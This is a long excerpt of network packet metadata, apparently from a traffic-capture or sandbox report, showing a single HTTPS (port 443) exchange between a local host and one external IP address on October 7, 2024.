Oct 7, 2024 21:30:03.898447037 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.922153950 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.922184944 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.922278881 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.922280073 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.922290087 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.923818111 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.923865080 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.923868895 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.923904896 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.923917055 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.923934937 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.924758911 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.925450087 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.925491095 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.925532103 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.925543070 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.925574064 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.927376032 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.927447081 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.927500010 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.927511930 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.927547932 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.928757906 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.944053888 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.944092035 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.944133043 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.944144011 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.944173098 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.944756985 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.946796894 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.946837902 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.946841955 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.946882010 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.946892977 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.946928024 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.948100090 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.948149920 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.948199987 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.948216915 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.948254108 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.952749968 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.982569933 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.982629061 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.982780933 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.982850075 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.982894897 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.986852884 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.007527113 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.007586956 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.007635117 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.007648945 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.007689953 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.007877111 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.008531094 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.008580923 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.008740902 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.008806944 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.008867025 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.009829044 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.009881973 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.009958029 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.009974003 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.010025978 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.011019945 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.011066914 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.011073112 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.011110067 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.011125088 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.011147976 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.014240026 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.028178930 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.028228998 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.028264999 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.028290987 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.028307915 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.029405117 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.029444933 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.029453993 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.029483080 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.029489994 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.029510021 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.029613018 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.030975103 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.031028032 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.031064034 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.031075954 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.031096935 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.038934946 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.066418886 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.066488981 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.066642046 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.066642046 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.066673994 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.067411900 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.090778112 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.090817928 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.090894938 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.090894938 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.090919971 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.091514111 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.092365980 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.092413902 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.092451096 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.092456102 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.092478037 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.094054937 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.094110012 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.094145060 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.094150066 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.094172001 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.094501019 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.095170975 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.095213890 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.095248938 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.095259905 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.095280886 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.099317074 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.113046885 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.113099098 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.113197088 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.113197088 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.132535934 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.132548094 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.132560968 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.132646084 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.152400970 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.152466059 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.152484894 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.152498007 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.152523994 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.177315950 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.177386045 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.177403927 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.177418947 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.177437067 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.177580118 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.177622080 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.177629948 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.177654028 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.177670002 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.179917097 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.179965973 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.179980993 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.179986954 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.180010080 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.180941105 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.180983067 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.181006908 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.181011915 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.181035042 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.197709084 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.197788000 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.197813988 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.197834015 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.197849989 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.199311018 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.199368954 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.199388027 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.199413061 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.199419975 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.199425936 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.200449944 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.200498104 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.200503111 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.200525999 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.200550079 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.236669064 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.236726999 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.236772060 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.236792088 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.236809015 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.260057926 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.260128021 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.260148048 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.260171890 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.260190010 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.260206938 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.261487007 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.261532068 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.261543989 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.261568069 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.261648893 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.263322115 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.263372898 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.263412952 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.263427973 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.263451099 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.265021086 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.265067101 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.265100956 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.265109062 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.265131950 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.281019926 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.281074047 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.281092882 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.281128883 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.491485119 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.510471106 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.510540962 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.510580063 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.510601997 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.510646105 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.510663986 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.510703087 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.510749102 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.542392015 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.542422056 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.542443037 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.542457104 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.542469978 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.542522907 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.542547941 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.542567968 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.542596102 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.542613029 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.542624950 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.542634964 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.542654037 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.542654037 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.542663097 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.542690039 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.542689085 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.542710066 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.542718887 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.542723894 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.542733908 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.542757034 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.542762995 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.542795897 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.542805910 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.542819977 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.542850018 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.542850971 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.542880058 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.747425079 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.747497082 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.752268076 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.752285957 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.752304077 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.752341986 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.752352953 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.752367020 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.752382040 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.752387047 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.752408981 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.752438068 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.774550915 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.774580956 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.774597883 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.774607897 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.774683952 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.774694920 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.774720907 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.774732113 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.774802923 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.774811029 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.774847984 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.774863958 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.774883986 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.774888992 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.774904966 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.774909973 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.774924994 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.774934053 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.774954081 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.774965048 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.774991989 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.775017977 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.919756889 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.919790983 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.919842958 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.919881105 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.941126108 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.941184044 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.941235065 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.941251040 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.941279888 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.941287994 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.941299915 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.941333055 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.941342115 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.941363096 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.941375971 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.941382885 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.941404104 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.941436052 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.941443920 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.941478014 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.941487074 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.941504002 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.941519976 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:04.941557884 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:04.941592932 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.083811045 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.083853006 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.084054947 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.114969015 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.114974022 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.114986897 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.115005970 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.115020990 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.115227938 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.115227938 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.115267992 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.115307093 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.115319967 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.115415096 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.115426064 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.115447998 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.115555048 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.327399015 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.327596903 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.438004971 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.438047886 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.438069105 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.438133001 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.438184977 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.465965033 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.465974092 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.465986013 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.466001987 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.466025114 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.466031075 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.466036081 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.466119051 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.466129065 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.466142893 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.466155052 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.466248989 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:05.466255903 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.466274977 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:05.466284990 CEST	443	49730	83.140.241.4	192.168.2.4
